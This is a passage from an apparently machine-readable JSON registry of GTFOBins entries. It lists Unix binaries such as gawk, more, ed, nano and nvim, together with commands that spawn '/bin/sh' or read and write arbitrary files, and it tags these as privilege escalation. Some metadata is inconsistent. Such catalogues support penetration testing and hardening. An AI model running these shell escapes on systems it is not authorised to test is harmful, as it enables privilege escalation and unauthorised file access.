    "allowed-tools": [
      "xmodmap"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Modifier key and pointer mapping in X11; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "xmodmap -v /path/to/input-file"
      }
    ],
    "execution": {
      "template": "xmodmap",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "network-intensive"
    ],
    "global_vars": {},
    "id": "system-x-xmodmap",
    "install": [
      {
        "method": "apt",
        "package_name": "x11-utils",
        "commands": [
          "apt-get install -y x11-utils"
        ]
      }
    ],
    "name": "xmodmap",
    "namespace": "system:x:xmodmap",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/xmodmap/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# xmore\n\nxmore is a command-line utility. X11 text file browser; can also read arbitrary files.\n",
    "_source": "xmore.md",
    "allowed-tools": [
      "xmore"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "X11 text file browser; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "xmore /path/to/input-file"
      }
    ],
    "execution": {
      "template": "xmore",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "system-x-xmore",
    "install": [
      {
        "method": "apt",
        "package_name": "x11-utils",
        "commands": [
          "apt-get install -y x11-utils"
        ]
      }
    ],
    "name": "xmore",
    "namespace": "system:x:xmore",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/xmore/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "gawk.md",
    "allowed-tools": [
      "gawk",
      "awk",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "GNU awk, can execute commands and read files.",
    "examples": [
      {
        "description": "Execute command via gawk",
        "command": "gawk 'BEGIN {system(\"/bin/sh\")}'"
      }
    ],
    "execution": {
      "template": "gawk '{system(\"/bin/sh\")}'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-awk-gawk",
    "install": [
      {
        "method": "apt",
        "package_name": "gawk",
        "commands": [
          "apt-get install -y gawk"
        ]
      }
    ],
    "name": "gawk",
    "namespace": "text:awk:gawk",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/gawk/"
      }
    ],
    "related_tools": [
      "awk",
      "mawk"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "mawk.md",
    "allowed-tools": [
      "mawk",
      "awk",
      "gawk",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fast awk interpreter, can read files and execute commands.",
    "examples": [
      {
        "description": "Execute command via mawk",
        "command": "mawk 'BEGIN {system(\"/bin/sh\")}'"
      }
    ],
    "execution": {
      "template": "mawk 'BEGIN {system(\"/bin/sh\")}'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-awk-mawk",
    "install": [
      {
        "method": "apt",
        "package_name": "mawk",
        "commands": [
          "apt-get install -y mawk"
        ]
      }
    ],
    "name": "mawk",
    "namespace": "text:awk:mawk",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/mawk/"
      }
    ],
    "related_tools": [
      "awk",
      "gawk"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "nawk.md",
    "allowed-tools": [
      "nawk",
      "awk",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "New awk, can read files and execute commands.",
    "examples": [
      {
        "description": "Execute command via nawk",
        "command": "nawk 'BEGIN {system(\"/bin/sh\")}'"
      }
    ],
    "execution": {
      "template": "nawk 'BEGIN {system(\"/bin/sh\")}'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-awk-nawk",
    "install": [
      {
        "method": "apt",
        "package_name": "original-awk",
        "commands": [
          "apt-get install -y original-awk"
        ]
      }
    ],
    "name": "nawk",
    "namespace": "text:awk:nawk",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/nawk/"
      }
    ],
    "related_tools": [
      "awk",
      "gawk",
      "mawk"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "dos2unix.md",
    "allowed-tools": [
      "dos2unix",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "system.file.write"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Convert text file line endings, can read and write files.",
    "examples": [
      {
        "description": "Read a file via dos2unix",
        "command": "dos2unix -f -O /path/to/input-file"
      },
      {
        "description": "Write to a file via dos2unix",
        "command": "dos2unix -f -n /path/to/input-file /path/to/output-file"
      }
    ],
    "execution": {
      "template": "dos2unix -f -O {input}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "text-convert-dos2unix",
    "install": [
      {
        "method": "apt",
        "package_name": "dos2unix",
        "commands": [
          "apt-get install -y dos2unix"
        ]
      }
    ],
    "name": "dos2unix",
    "namespace": "text:convert:dos2unix",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/dos2unix/"
      }
    ],
    "related_tools": [
      "unix2dos"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n# iconv — Character Encoding Converter\n\niconv converts text between character encodings. Using the `8859_1` encoding (which accepts any single-byte sequence), it can read and write arbitrary files when used with elevated privileges.\n",
    "_source": "iconv.md",
    "allowed-tools": [
      "iconv",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.file.read",
      "system.file.write",
      "text.convert.encoding"
    ],
    "contract": {
      "inputs": [
        {
          "type": "system.file.path",
          "description": "Path to file to convert"
        }
      ],
      "outputs": [
        {
          "type": "system.file.content",
          "description": "Converted file content",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Convert text from one character encoding to another, can read/write arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary file via identity encoding conversion",
        "command": "iconv -f 8859_1 -t 8859_1 /path/to/input-file"
      },
      {
        "description": "Write arbitrary data to file",
        "command": "echo DATA | iconv -f 8859_1 -t 8859_1 -o /path/to/output-file"
      }
    ],
    "execution": {
      "template": "iconv {f} {t} {o}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "local",
      "pipes-stdin"
    ],
    "global_vars": {},
    "id": "text-convert-iconv",
    "install": [
      {
        "method": "apt",
        "package_name": "libc-bin",
        "commands": [
          "apt-get install -y libc-bin"
        ]
      }
    ],
    "name": "iconv",
    "namespace": "text:convert:iconv",
    "parameters": [
      {
        "name": "f",
        "type": "string",
        "required": false,
        "description": "From encoding",
        "aliases": [
          "-f",
          "--from-code"
        ],
        "flag": "-f"
      },
      {
        "name": "t",
        "type": "string",
        "required": false,
        "description": "To encoding",
        "aliases": [
          "-t",
          "--to-code"
        ],
        "flag": "-t"
      },
      {
        "name": "o",
        "type": "file",
        "required": false,
        "description": "Output file",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "cross-platform"
    ],
    "references": [
      {
        "label": "iconv man page",
        "url": "https://man7.org/linux/man-pages/man1/iconv.1.html"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "converted-file"
      ],
      "consumes": [
        "input-file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "cowsay.md",
    "allowed-tools": [
      "cowsay",
      "cowthink",
      "perl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Perl code execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Configurable speaking/thinking cow, can execute Perl code inherited from Perl binary.",
    "examples": [
      {
        "description": "Execute Perl code via cowsay",
        "command": "cowsay -f /path/to/script.pl x"
      }
    ],
    "execution": {
      "template": "cowsay -f {script} x",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-display-cowsay",
    "install": [
      {
        "method": "apt",
        "package_name": "cowsay",
        "commands": [
          "apt-get install -y cowsay"
        ]
      }
    ],
    "name": "cowsay",
    "namespace": "text:display:cowsay",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cowsay/"
      }
    ],
    "related_tools": [
      "cowthink",
      "perl"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "cowthink.md",
    "allowed-tools": [
      "cowthink",
      "cowsay",
      "perl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Perl code execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Configurable thinking cow, can execute Perl code inherited from Perl binary.",
    "examples": [
      {
        "description": "Execute Perl code via cowthink",
        "command": "cowthink -f /path/to/script.pl x"
      }
    ],
    "execution": {
      "template": "cowthink -f {script} x",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-display-cowthink",
    "install": [
      {
        "method": "apt",
        "package_name": "cowsay",
        "commands": [
          "apt-get install -y cowsay"
        ]
      }
    ],
    "name": "cowthink",
    "namespace": "text:display:cowthink",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/cowthink/"
      }
    ],
    "related_tools": [
      "cowsay",
      "perl"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "more.md",
    "allowed-tools": [
      "more",
      "less",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Pager, can read files and execute commands via ! command.",
    "examples": [
      {
        "description": "Read a file via more",
        "command": "more /path/to/file"
      },
      {
        "description": "Spawn a shell via more",
        "command": "more /path/to/file\n!/bin/sh\n"
      }
    ],
    "execution": {
      "template": "more /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-display-more",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "name": "more",
    "namespace": "text:display:more",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/more/"
      }
    ],
    "related_tools": [
      "less",
      "most"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "shell-access"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pg.md",
    "allowed-tools": [
      "pg",
      "more",
      "less",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "File pager, can read files and execute commands.",
    "examples": [
      {
        "description": "Read a file via pg",
        "command": "pg /path/to/file"
      }
    ],
    "execution": {
      "template": "pg /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system",
      "interactive"
    ],
    "global_vars": {},
    "id": "text-display-pg",
    "install": [
      {
        "method": "apt",
        "package_name": "util-linux",
        "commands": [
          "apt-get install -y util-linux"
        ]
      }
    ],
    "name": "pg",
    "namespace": "text:display:pg",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/pg/"
      }
    ],
    "related_tools": [
      "more",
      "less"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content",
        "command-execution"
      ],
      "consumes": [
        "file",
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ed.md",
    "allowed-tools": [
      "ed",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Line-oriented text editor, can spawn a shell via ! command.",
    "examples": [
      {
        "description": "Spawn a shell via ed",
        "command": "ed\n!/bin/sh\n"
      }
    ],
    "execution": {
      "template": "ed /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-editor-ed",
    "install": [
      {
        "method": "apt",
        "package_name": "ed",
        "commands": [
          "apt-get install -y ed"
        ]
      }
    ],
    "name": "ed",
    "namespace": "text:editor:ed",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ed/"
      }
    ],
    "related_tools": [
      "vi",
      "vim"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ex.md",
    "allowed-tools": [
      "ex",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Line-oriented text editor (vi's ancestor), can spawn a shell via ! command.",
    "examples": [
      {
        "description": "Spawn a shell via ex",
        "command": "ex\n!/bin/sh\n"
      }
    ],
    "execution": {
      "template": "ex /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-editor-ex",
    "install": [
      {
        "method": "apt",
        "package_name": "vim-common",
        "commands": [
          "apt-get install -y vim-common"
        ]
      }
    ],
    "name": "ex",
    "namespace": "text:editor:ex",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/ex/"
      }
    ],
    "related_tools": [
      "vi",
      "vim",
      "ed"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "joe.md",
    "allowed-tools": [
      "joe",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Joe's Own Editor, can spawn a shell via ! command.",
    "examples": [
      {
        "description": "Spawn a shell via joe",
        "command": "joe\n!/bin/sh\n"
      }
    ],
    "execution": {
      "template": "joe /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-editor-joe",
    "install": [
      {
        "method": "apt",
        "package_name": "joe",
        "commands": [
          "apt-get install -y joe"
        ]
      }
    ],
    "name": "joe",
    "namespace": "text:editor:joe",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/joe/"
      }
    ],
    "related_tools": [
      "vi",
      "vim",
      "nano"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "nano.md",
    "allowed-tools": [
      "nano",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Simple text editor, can spawn a shell via ^R^X or execute commands.",
    "examples": [
      {
        "description": "Spawn a shell via nano",
        "command": "nano\n^R^X\nreset; /bin/sh 1>&0 2>&0\n"
      }
    ],
    "execution": {
      "template": "nano /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-editor-nano",
    "install": [
      {
        "method": "apt",
        "package_name": "nano",
        "commands": [
          "apt-get install -y nano"
        ]
      }
    ],
    "name": "nano",
    "namespace": "text:editor:nano",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/nano/"
      }
    ],
    "related_tools": [
      "vi",
      "vim"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "nvim.md",
    "allowed-tools": [
      "nvim",
      "vim",
      "vi",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or file output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 8,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Neovim, can spawn a shell via :! or :terminal command.",
    "examples": [
      {
        "description": "Spawn a shell via nvim",
        "command": "nvim\n:!/bin/sh\n"
      }
    ],
    "execution": {
      "template": "nvim -c '!/bin/sh'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "text-editor-nvim",
    "install": [
      {
        "method": "apt",
        "package_name": "neovim",
        "commands": [
          "apt-get install -y neovim"
        ]
      }
    ],
    "name": "nvim",
    "namespace": "text:editor:nvim",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/nvim/"
      }
    ],
    "related_tools": [
      "vi",
      "vim"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 8,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "file-content"
      ],
      "consumes": [
        "execution-context",
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "pico.md",
    "allowed-tools": [
      "pico",
      "nano",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
